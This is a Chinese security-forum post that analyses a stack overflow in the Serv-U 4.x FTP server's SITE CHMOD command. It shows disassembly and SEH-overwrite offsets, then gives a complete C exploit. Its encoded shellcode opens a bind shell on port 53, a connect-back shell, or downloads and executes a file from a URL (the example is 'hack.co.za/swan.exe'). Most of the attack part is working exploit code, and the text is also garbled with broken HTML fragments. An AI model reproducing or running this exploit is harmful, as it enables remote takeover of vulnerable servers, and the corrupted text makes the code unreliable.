Serv-U \"site chmod xxx \"Exploit论坛登陆名: SWAN
提交者邮件地址: ????
提交者QQ号码: ????
版权：文章属中华安全网http://www.safechina.net和作者共同所有，转载请注明出处！！
标题: Serv-U \"site chmod xxx \"Exploit
内容:
kkqq发现Serv-U 4.x及其以下版本中，当传递给site chmod一个长文件名时，会发生栈溢出。
我们来简单地看看分析，先用IDA看看发生问题的地方：
.text:004194EB loc_4194EB: ; CODE XREF: sub_419080+457j
.text:004194EB push [ebp+var_8] ;
.text:004194EE push 0FFFFFFFFh
.text:004194F0 push 4B4h
.text:004194F5 &nb!
sp; lea eax, [esi+8488h]
.text:004194FB push eax
.text:004194FC call sub_414344
.text:00419501 add esp, 0Ch
.text:00419504 push eax ; "550 %s: no such file or directory."
.text:00419505 lea edx, [ebp+buffer]
.text:0041950B &nb!
sp; !
;
push edx
.text:0041950C call _sprintf ; <==这里
.text:00419511 add esp, 0Ch
.text:00419514 lea ecx, [ebp+buffer]
.text:0041951A push ecx
.text:0041951B push esi
.text:0041951C call s!
ub_433608
.text:00419521 add esp, 8
.text:00419524 dec [ebp+var_38]
.text:00419527 dec [ebp+var_38]
.text:0041952A cmp [ebp+var_8], 0
.text:0041952E jz loc_4195BD
.text:00419534 mov eax, [ebp+var_8]
.text:00419537 !
; &!
nbsp;&nb
sp; mov edx, [eax-0Ch]
当提交一个不存在的文件时，Serv-u会反馈一个文件没有找到的消息。存放错误信息的buffer小于0x1EC(?)，而实际可以接受的文件名字长度超过了0x500，sprintf的时候，一下子就越界了。
还是主要针对利用吧，有兴趣慢慢分析的朋友，估计也不想看我在这里废话，从上面说到的地方往回找，自然会找到判断命令和处理的地方。
提交超长文件名的时候，在.text:00419537 mov edx, [eax-0Ch]处一般会发生一个内存访问的异常，倒回去看，因为上面一句mov eax, [ebp+var_8]，而我们覆盖了[ebp+var_8]所致。这样，覆盖SEH地址应该是很容易利用这个漏洞的，我们先用ollydbg看看发生异常时的情况。
EBP-58 > 77E3929C USER32.77E3929C
EBP-54 > 06EB06EB Pointer to next SEH record
EBP-50 > 77E3929C SE handler<=需要精心覆盖的地方;
EBP-4C > 06EB06EB
EBP-48 > 77E3929C USER32.77E3929C
BUFF!
ER
EBP-1EC > 20303535
计算一下，因为文件名是从ftp的根目录开始算的，加上前面的"550 "，也就是说buffer一定有一个"550 /"，这是5个字节，简单看来就是提交的文件名在0x1EC - 0x50 - 0x5 = 0x197 = 407字节处，就是实际覆盖SEH的地方。
实际上我们可能对根目录没有写的权限，在CWD到一个可写目录后，返回错误信息的buffer前面就成了"550 /xxx/"，在切换目录的时候，我们应该记录下目录名的长度，实际覆盖SEH的地方就成了407 - nPathLen。很自然的，403 - nPathLen的地方应该是一个nop/nop/jmp 4，而411 - nPathLen开始就可以是shellcode了。
在出现内存访问异常之前，还有两个dec [ebp+var_38]我们要注意一下，因为这里会改变我们的shellcode，425 - nPathLen处的字符加二就可以解决了。
由于FTP本身的协议，以及我们提交的数据要是合法的文件名等限制，在shellcode中不能出现" "、":"、"?"、"/"以及0xffffff、0x0A等等，现有的市面上的shellcode都不!
符合要求，稍微改写一下。
出问题!
一般是因
为shellcode在最前面一段解码的过程中有非法的字符，单独对这个漏洞而言很好解决，因为获得控制权的时候ebx地址是确定的（我们本来就是jmp ebx过来的），所以直接计算实际有作用的shellcode地址开始解码也可以，或者从ebx开始搜索也可以，我是采取的后面一个做法。改写后的解码部分如下，因为调试的关系，很多0x90的地方原来是0xCC，后来也没有改回来:-)
"\x90\x8B\xC3\xBB\x51\x50\x50\x50\x4B\x40\x39\x18\x75\xFB\x40\x40"
"\x40\x33\xC9\x90\x90\x66\xB9\x7D\x01\x80\x34\x08\x99\xE2\xFA\x90"
"\x50\x50\x50\x50"
90 nop
8B C3 mov eax,ebx
BB 51 50 50 50 mov ebx,50505051h
4B !
; dec ebx
40 inc eax
39 18 cmp dword ptr [eax],ebx
75 FB jne -5 ;到inc eax
40 inc eax
40 !
; inc &nb!
sp;
; eax
40 inc eax
33 C9 xor ecx,ecx
90 nop
90 nop ;记得这里要+2，实际是0x92
66 B9 7D 01 mov cx,17Dh ;解码的长度，17!
d够了
80 34 08 99 xor byte ptr [eax+ecx],99h
E2 FA loop -6 ;到xor
90 nop
50 push eax ;_emit 50h
50 push eax
50&n!
bsp; &nbs!
p;
push eax
50 push eax
意思就是把0x50505050作为标记（本身也是可执行的，push eax），赋给ebx 0x50505051后dec ebx（防止找错了地方），然后从eax（原来的ebx）开始找encode过的真实shellcode，最后解码。实际的由于第21个字节被dec过两次，所以要补回来。最后处理过的bind53的shellcode是类似于这样的，去掉了原来的头，换了上面说的那一个：
"\x90\x8B\xC3\xBB\x51\x50\x50\x50\x4B\x40\x39\x18\x75\xFB\x40\x40"
"\x40\x33\xC9\x90\x92" //92? Yes, 0x92! Two nops for fun
//.text:00419524 !
dec [ebp+var_38]
//.text:00419527 dec [ebp+var_38]
"\x66\xB9\x7D\x01"
"\x80\x34\x08\x99\xE2\xFA\x90\x50\x50\x50\x50"
//bind port 53, lion's shellcode
"\x70\x95\x98\x99\x99\xC3\xFD\x38\xA9\x99\x99\x99\x12\xD9\x95\x12"
... ...
还可以稍微改进一下的。精简后就成了这样子：
//search from ebx and decode
"\xbe\x0c\x99\xe2\xfa\x4e\x43\x39\x33\x75\xfb\x83\xc3\x03\x33\xc9"
"\x66\xb9\x80\x01\x80\x34\x0b\x99\xe2\xfa"
mov esi,0xfae2990c
dec esi
findsc_loop:
incebx
cmpdword ptr [ebx],esi
jnefindsc_loop
addebx,3
xorecx,ecx
movcx,180h
decode_loop:
xorbyte ptr [eb!
x+ecx],99h
loopdecode_loop
?
比唬苯
蛹扑鉹eal shellcode的起始地址也可以，这个就相对来说不那么通用了，我们假设覆盖的时候结构是这样子的：
-----+-------------+--------------+--------+-------------------
AA...│ 90 90 jmp 4 │ RET(jmp ebx) │ decode │ encoded shellcode
-----+-------------+--------------+--------+-------------------
^^--EBX
decode获得控制权的时候，ebx指向的第一个0x90，也就是说ebx + 8 + decode的长度，就是encoded shellcode的首地址，先要写一个decode的框架出来，然后ebx才能确定
addebx,5 ; <==这个值待定
xorecx,ecx
movcx,180h
decode_loop:
xorbyte ptr [ebx+ecx],99h
loopdecode_loop
判断一下长度，是15，这样子，ebx应该加 8 + 15 = 23 = 0x17，但实际上，因为loop中ecx到0后不会跳回去执行xor，所以ebx应该加的是0x16，把0x16填回去就可以了。最后得到的是：
<br!
>"\x83\xC3\x16\x33\xC9\x66\xB9\x83\x01\x80\x34\x0B\x99\xE2\xFA"
十五个字节的decode，呵呵，最短了~
如果是download & exec的shellcode，稍微麻烦一点，因为":"不能出现。不想打字了，直接看xploit怎样处理的吧。一点都不喜欢打字，写xploit花了2小时，打字都不止这么长时间了……
用下面的xploit吧，设定的timeout是1秒，一般来说如果在change dir后停了一秒然后出来成功的字样就确实是成功了，如果马上出来成功字样，一定是覆盖的地址没有对，serv-u挂了。jmp ebx用的是0x7FFA4A1B，对cn/en win2k都还比较有效，自己试试看，换换也可以的。
程序写得不好，有些判断只是想当然的而已，很有可能误报一些结果，你也可以去掉全部的if(buff[0] != '2')判断来默认每一步都是正确的，也可以把timeout设定的大一点（默认是一秒）。我在自己的机器上(win2k cn sp3/sp4, en sp4)测试Serv-U 4.1.0.3/4.1.0.2/4.0.0.x都能够很好的工作。
/*
kkqq found that when connecting to a FTP se!
rver using Serv-U(v4.x and below),
the operation "SITE!
CHMOD 7
55 <Longfilename>" will cause stack-based overflow.
This is only exploitable when you have the writing privilege.
Er, IDA told me that:
.text:004194EB loc_4194EB: ; CODE XREF: sub_419080+457.j
.text:004194EB push [ebp+var_8] ; point to filename
.text:004194EE push 0FFFFFFFFh
.text:004194F0 push 4B4h
.text:004194F5 &nbs!
p; lea eax, [esi+8488h]
.text:004194FB push eax
.text:004194FC call sub_414344
.text:00419501 add esp, 0Ch
.text:00419504 push eax ; format = "550 %s: no such file or directory."
.text:00419505 lea edx, [ebp+buffer]
.tex!
t:0041950B &nbs!
p;
push edx
.text:0041950C call _sprintf ; <============== ^_^
.text:00419511 add esp, 0Ch
.text:00419514 lea ecx, [ebp+buffer]
.text:0041951A push ecx
.text:0041951B push esi
.text:0041951C &nbs!
p; call sub_433608
.text:00419521 add esp, 8
.text:00419524 dec [ebp+var_38] ; this is why 0x92 appears
.text:00419527 dec [ebp+var_38]
.text:0041952A cmp [ebp+var_8], 0
.text:0041952E jz loc_4195BD
.text:00419534 &nb!
sp; mov eax, [ebp+var_8] ;!
<==
attention
.text:00419537 mov edx, [eax-0Ch] ; <== My ollydbg stopped here and @#$!@# then
; shellcode ran ^_^. Choosing a value (address)
; that could be read for eax would!
lead another way
*/
#include <winsock.h>
#include <windows.h>
#include <stdio.h>
#pragma comment (lib,"ws2_32")
void help(char *program)
{
printf("=======================================================\r\n");
printf("Serv-U \"site chmod xxx longfilename\" Xploit v0.20 alpha\r\n");
printf("Originally discovered by kkqq@USTC --thank you~ (*^_^*)\r\n");
printf(" For Serv-U 4.x with Win2k written by SWAN@SEU\r\n");
printf("=======================================================\r\n\r\n");
printf("Usage: %s <Host> <Port> <User> <Pass> <DIR>\r\n",program);
printf(" %s <Host> <Port> <User> <Pass> <DIR> <url>\r\n",program);
printf(" %s <Host> <Port> <U!
ser> <Pass> <DIR> <Your IP> <Your port>\r\n",!
program)
;
printf("e.g.:\r\n");
printf(" (1) You have write privilege at /upload/\r\n");
printf(" %s 127.0.0.1 21 test test upload http://hack.co.za/swan.exe\r\n", program);
printf(" (2) You have write privilege at root\r\n");
printf(" %s 127.0.0.1 21 test test / 202.119.9.42 8111\r\n", program);
printf("\r\n This is an OverWrite-SEH-And-Call-EBX version(jmp ebx at 0x7FFA4A1B),\r\n");
printf("choose a mode you like to open port 53, connect back or download & exec.\r\n");
printf("For XP/2k3, you may try to exploit this in another way...\r\n");
return;
}
unsigned char bpsc[]=
// "decoding" code should not contain \xff\xff\xff nor \x0a nor ':' ....
// so search from ebx, to find the head of the encoded shellcode
"\x90\x8B\xC3\xBB\x51\x50\x50\x50\x4B\x40\x39\x18\x75\xFB\x40\x40"
&q!
uot;\x40\x33\xC9\x90\x92" //92? Yes, 0x92! Two nops for fun
//.text:00419524 dec [ebp+var_38]
//.text:00419527 dec [ebp+var_38]
"\x66\xB9\x7D\x01"
"\x80\x34\x08\x99\xE2\xFA\x90\x50\x50\x50\x50"
//bind port 53
"\x70\x95\x98\x99\x99\xC3\xFD\x38\xA9\x99\x99\x99\x12\xD9\x95\x12"
"\xE9\x85\x34\x12\xD9\x91\x12\x41\x12\xEA\xA5\x12\xED\x87\xE1\x9A"
"\x6A\x12\xE7\xB9\x9A\x62\x12\xD7\x8D\xAA\x74\xCF\xCE\xC8\x12!
\xA6"
"\x9A\x62\x12\x6B\xF3\x97\xC0\x6A\x3F\xED\x!
91\xC0\x
C6\x1A\x5E\x9D"
"\xDC\x7B\x70\xC0\xC6\xC7\x12\x54\x12\xDF\xBD\x9A\x5A\x48\x78\x9A"
"\x58\xAA\x50\xFF\x12\x91\x12\xDF\x85\x9A\x5A\x58\x78\x9B\x9A\x58"
"\x12\x99\x9A\x5A\x12\x63\x12\x6E\x1A\x5F\x97\x12\x49\xF3\x9A\xC0"
"\x71\x1E\x99\x99\x99\x1A\x5F\x94\xCB\xCF\x66\xCE\x65\xC3\x12\x41"
"\xF3\x9C\xC0\x71\xED\x99\x99\x99\xC9\xC9\xC9\xC9\xF3\x98\xF3\x9B"
"\x66\xCE\x75\x12\x41\x5E\x9E\x9B\x99"
"\x99\xAC" //<== Port xor 0x9999, default is 53
"\xAA\x59\x10\xDE\x9D"
"\xF3\x89\xCE\xCA\x66\xCE\x69\xF3\x98\xCA\x66\xCE\x6D\xC9\xC9\xCA"
"\x66\xCE\x61\x12\x49\x1A\x75\xDD\x12\x6D\xAA\x59\xF3\x89\xC0\x10"
"\x9D\x17\x7B\x62\x10\xCF\xA1\x10\xCF\xA5\x10\xCF\xD9\xFF\x5E\xDF"
"\xB5\x98\x98\x14\xDE\x89\xC9\xCF\xAA\x50\xC8\xC8\xC8\xF3\x98\xC8"
"\xC8\x5E\xDE\xA5\xFA\xF4\xFD\x99\x14\xDE\xA5\xC9\xC8\x66\xCE\x79"
&q!
uot;\xCB\x66\xCE\x65\xCA\x66\xCE\x65\xC9\x66\xCE\x7D\xAA\x59\x35\x1C"
"\x59\xEC\x60\xC8\xCB\xCF\xCA\x66\x4B\xC3\xC0\x32\x7B\x77\xAA\x59"
"\x5A\x71\x76\x67\x66\x66\xDE\xFC\xED\xC9\xEB\xF6\xFA\xD8\xFD\xFD"
"\xEB\xFC\xEA\xEA\x99\xDA\xEB\xFC\xF8\xED\xFC\xC9\xEB\xF6\xFA\xFC"
"\xEA\xEA\xD8\x99\xDC\xE1\xF0\xED\xCD\xF1\xEB\xFC\xF8\xFD\x99\xD5"
"\xF6\xF8\xFD\xD5\xF0\xFB\xEB\xF8\xEB\xE0\xD8\x99\xEE\xEA\xAB\xC6"
"\xAA\xAB\x99\xCE\xCA\xD8\xCA\xF6\xFA\xF2\xFC\xED\xD8\x99\xFB\xF0"
"\xF7\xFD\x99\xF5\xF0\xEA\xED\xFC\xF7\x99\xF8\xFA\xFA\xFC\xE9\xED"
"\x99\xFA\xF5\xF6\xEA\xFC\xEA\xF6\xFA\xF2\xFC\xED\x99";
#defineIP_OFFSET249
#definePORT_OFFSET244
unsigned char cbsc[]=
//search from ebx and decode
"\xbe\x0c\x99\xe2\xfa\x4e\x43\x39\x33\x75\xfb\x83\xc3\x03\x33\xc9"
"\x66\xb9\x80\x01\x82\x34\x0b\x99\xe2\xfa"
//connect back
//from htt!
p://www.xfocus.net/articles/200307/574.html
"\x70\x6D\!
x99\x99\
x99\xC3\x21\x95\x69\x64\xE6\x12\x99\x12\xE9\x85"
"\x34\x12\xD9\x91\x12\x41\x12\xEA\xA5\x9A\x6A\x12\xEF\xE1\x9A\x6A"
"\x12\xE7\xB9\x9A\x62\x12\xD7\x8D\xAA\x74\xCF\xCE\xC8\x12\xA6\x9A"
"\x62\x12\x6B\xF3\x97\xC0\x6A\x3F\xED\x91\xC0\xC6\x1A\x5E\x9D\xDC"
"\x7B\x70\xC0\xC6\xC7\x12\x54\x12\xDF\xBD\x9A\x5A\x48\x78\x9A\x58"
"\xAA\x50\xFF\x12\x91\x12\xDF\x85\x9A\x5A\x58\x78\x9B\x9A\x58\x12"
"\x99\x9A\x5A\x12\x63\x12\x6E\x1A\x5F\x97\x12\x49\xF3\x9A\xC0\x71"
"\xE9\x99\x99\x99\x1A\x5F\x94\xCB\xCF\x66\xCE\x65\xC3\x12\x41\xF3"
"\x9B\xC0\x71\xC4\x99\x99\x99\x1A\x75\xDD\x12\x6D\xF3\x89\xC0\x10"
"\x9D\x17\x7B\x62\xC9\xC9\xC9\xC9\xF3\x98\xF3\x9B\x66\xCE\x61\x12"
"\x41\x10\xC7\xA1\x10\xC7\xA5\x10\xC7\xD9\xFF\x5E\xDF\xB5\x98\x98"
"\x14\xDE\x89\xC9\xCF\xAA\x59\xC9\xC9\xC9\xF3\x98\xC9\xC9\x14\xCE"
"\xA5\x5E\x9B\xFA\xF4\xFD\x99\xCB\xC9\x66\xCE\x!
75\x5E\x9E\x9B\x99"
"\x9E\x24\x5E\xDE\x9D\xE6\x99\x99\x98\xF3\x89\xCE\xCA\x66\xCE\x65"
"\xC9\x66\xCE\x69\xAA\x59\x35\x1C\x59\xEC\x60\xC8\xCB\xCF\xCA\x66"
"\x4B\xC3\xC0\x32\x7B\x77\xAA\x59\x5A\x71\x9E\x66\x66\x66\xDE\xFC"
"\xED\xC9\xEB\xF6\xFA\xD8\xFD\xFD\xEB\xFC\xEA\xEA\x99\xDA\xEB\xFC"
"\xF8\xED\xFC\xC9\xEB\xF6\xFA\xFC\xEA\xEA\xD8\x99\xDC\xE1\xF0\xED"
"\xC9\xEB\xF6\xFA\xFC\xEA\xEA\x99\xD5\xF6\xF8\xFD\xD5\xF0\xFB\xEB"
"\xF8\xEB\xE0\xD8\x99\xEE\xEA\xAB\xC6\xAA\xAB\x99\xCE\xCA\xD8\xCA"
"\xF6\xFA\xF2\xFC\xED\xD8\x99\xFA\xF6\xF7\xF7\xFC\xFA\xED\x99";
unsigned char dehead[]=
"\x90\x8B\xC3\xBB\x51\x50\x50\x50\x4B\x40\x39\x18\x75\xFB\x40\x40"
"\x40\x33\xC9\x90\x92\x66\xB9\xF0\x01\x80\x34\x08\x99\xE2\xFA\x90"
"\x50\x50\x50\x50"
//download & execute
//modified slightly...
"\x70\x4D\x99\x99\x99\xC3\x21\x95\x69&quo!
t;
"\x64\xE6\x12\x99\x12\xE9\x85\x34\x12\xD9\x91\x12\x!
41\x12\x
EA\xA5"
"\x9A\x6A\x12\xEF\xE1\x9A\x6A\x12\xE7\xB9\x9A\x62\x12\xD7\x8D\xAA"
"\x74\xCF\xCE\xC8\x12\xA6\x9A\x62\x12\x6B\xF3\x97\xC0\x6A\x3F\xED"
"\x91\xC0\xC6\x1A\x5E\x9D\xDC\x7B\x70\xC0\xC6\xC7\x12\x54\x12\xDF"
"\xBD\x9A\x5A\x48\x78\x9A\x58\xAA\x50\xFF\x12\x91\x12\xDF\x85\x9A"
"\x5A\x58\x78\x9B\x9A\x58\x12\x99\x9A\x5A\x12\x63\x12\x6E\x1A\x5F"
"\x97\x12\x49\xF3\x9D\xC0\x71\xC9\x99\x99\x99\x1A\x5F\x94\xCB\xCF"
"\x66\xCE\x65\xC3\x12\x41\xF3\x98\xC0\x71\xA4\x99\x99\x99\x1A\x5F"
"\x8A\xCF\xDF\x19\xA7\x19\xEC\x63\x19\xAF\x19\xC7\x1A\x75\xB9\x12"
"\x45\xF3\xB9\xCA\x66\xCE\x75\x5E\x9D\x9A\xC5\xF8\xB7\xFC\x5E\xDD"
"\x9A\x9D\xE1\xFC\x99\x99\xAA\x59\xC9\xC9\xCA\xCF\xC9\x66\xCE\x65"
"\x12\x45\xC9\xCA\x66\xCE\x69\xC9\x66\xCE\x6D\xAA\x59\x35\x1C\x59"
"\xEC\x60\xC8\xCB\xCF\xCA\x66\x4B\xC3\xC0\x32\x7B\x77\xAA\x59\x5A"
"\x71\xB!
E\x66\x66\x66\xDE\xFC\xED\xC9\xEB\xF6\xFA\xD8\xFD\xFD\xEB"
"\xFC\xEA\xEA\x99\xDE\xFC\xED\xCA\xE0\xEA\xED\xFC\xF4\xDD\xF0\xEB"
"\xFC\xFA\xED\xF6\xEB\xE0\xD8\x99\xCE\xF0\xF7\xDC\xE1\xFC\xFA\x99"
"\xDC\xE1\xF0\xED\xC9\xEB\xF6\xFA\xFC\xEA\xEA\x99\xD5\xF6\xF8\xFD"
"\xD5\xF0\xFB\xEB\xF8\xEB\xE0\xD8\x99\xEC\xEB\xF5\xF4\xF6\xF7\x99"
"\xCC\xCB\xD5\xDD\xF6\xEE\xF7\xF5\xF6\xF8\xFD\xCD\xF6\xDF\xF0\xF5"
"\xFC\xD8\x99";
//"http://127.0.0.1/hello.exe"
//"\x80";
unsigned char desc[500]={0};
void main(int argc, char *argv[])
{
WSADATA wsaData;
SOCKET s;
struct hostent *he;
struct sockaddr_in host;
int nTimeout = 1000;
if(argc!=6&&argc!=7&&argc!=8)
{
help(argv[0]);
return;
}
if(argc==7)
{
//initialize the download & execute shellcode
//shellcode head + ((url + 0x80) xor 0x99 ) <==all for damned ':' and '/'
memset(!
desc, 0, 500);
memcpy(desc, dehead, sizeof(dehead));
cha!
r url[25
5];
strcpy(url, argv[6]);
strcat((char*)url, "\x80");
for(unsigned int j=0; j < strlen(url); j++)
url[j] = url[j]^'\x99';
strcat((char*)desc, url);
}
if(argc==8)
{
unsigned short port = htons(atoi(argv[7]))^(u_short)0x9999;
unsigned long ip = inet_addr(argv[6])^0x99999999;
memcpy(&cbsc<pORT_OFFSET], &port, 2);
memcpy(&cbsc[IP_OFFSET], &ip, 4);
}
if(WSAStartup(0x0101,&wsaData)!=0)
{
printf("error starting winsock..");
return;
}
if((he = gethostbyname(argv[1]))==0)
{
printf("Failed resolving '%s'",argv[1]);
return;
}
host.sin_port = htons(atoi(argv[2]));
host.sin_family = AF_INET;
host.sin_addr = *((struct in_addr *)he->h_addr);
if ((s = socket(AF_INET, SOCK_STREAM, 0)) == -1)
{
printf("Failed creating socket");
return;
}
if ((connect(s, (struct sockaddr *) &host, sizeof(host))) == -1)
{
printf("Failed connecting to!
host\r\n");
return;
}
setsockopt(s, SOL_SOCKET, SO_RCVTIMEO, (char*)&nTimeout,sizeof(nTimeout));
char buff[50000]={0};
memset(buff, 0, sizeof(buff));
char szUser[255] = {0};
strcpy(szUser, "USER ");
strcat(szUser, argv[3]);
strcat(szUser, "\r\n");
char szPass[255] = {0};
strcpy(szPass, "PASS ");
strcat(szPass, argv[4]);
strcat(szPass, "\r\n");
int bread = recv(s,buff,sizeof(buff),0);
if(bread == -1)
{
closesocket(s);
printf("No response... Perhaps it has been hacked!\r\n");
return;
}
printf(buff);
//send user
send(s, szUser, strlen(szUser), 0);
memset(buff, 0, sizeof(buff));
recv(s, buff, sizeof(buff), 0);
printf(buff);
//send pass
send(s, szPass, strlen(szPass), 0);
memset(buff, 0, sizeof(buff));
recv(s, buff, sizeof(buff), 0);
printf(buff);
if(buff[0] != '2')
{
closesocket(s);
printf(&q!
uot;Authentication failed!\r\n");
return;
}
!
//change
dir
char szChangeDir[255]={0};
strcpy(szChangeDir,"CWD /");
strcat(szChangeDir,argv[5]);
strcat(szChangeDir,"\r\n");
send(s, szChangeDir, strlen(szChangeDir), 0);
memset(buff, 0, sizeof(buff));
recv(s, buff, sizeof(buff), 0);
printf(buff);
if(buff[0] != '2')
{
closesocket(s);
printf("Error changing path!\r\n");
return;
}
int nPathLen = strlen(argv[5])+1;
if(argv[5][nPathLen-2] == '/')
nPathLen--;
if(nPathLen == 1)
nPathLen--;
char xploit[1500] = {0};
char head[] = "SITE CHMOD 755 ";
char evil[1000] = {0};
memset(xploit, 0, sizeof(xploit));
for(int i = 0; i < 403; i++)
evil[i] = '\x90';
*((int*)(evil + 403 - nPathLen)) = 0x04EB9090; //nop nop jmp 4
*((int*)(evil + 407 - nPathLen)) = 0x7FFA4A1B; //jmp ebx
if(argc==6)
memcpy(evil+411 - nPathLen, bpsc, sizeof(bpsc));
if(argc==7)
memcpy(evil+411 - nPathLen, desc, strlen((char!
*)desc));
if(argc==8)
memcpy(evil+411 - nPathLen, cbsc, sizeof(cbsc));
strcpy(xploit, head);
strcat(xploit, evil);
strcat(xploit, "\r\n");
send(s, xploit, strlen(xploit), 0);
memset(buff, 0, sizeof(buff));
bread = recv(s, buff, sizeof(buff), 0);
if(bread == -1)
{
closesocket(s);
if(argc==6)
printf("Success! Try connect port 53 to get your shell...\r\n");
if(argc==7)
printf("Success! Host has download and execute the program...\r\n");
if(argc==8)
printf("Success! See your nc.exe...\r\n");
return;
}
printf("Failed... Perhaps it has been patched, or you don't have the writing privilege!\r\n");
closesocket(s);
return;
}
推荐
评论(0条)
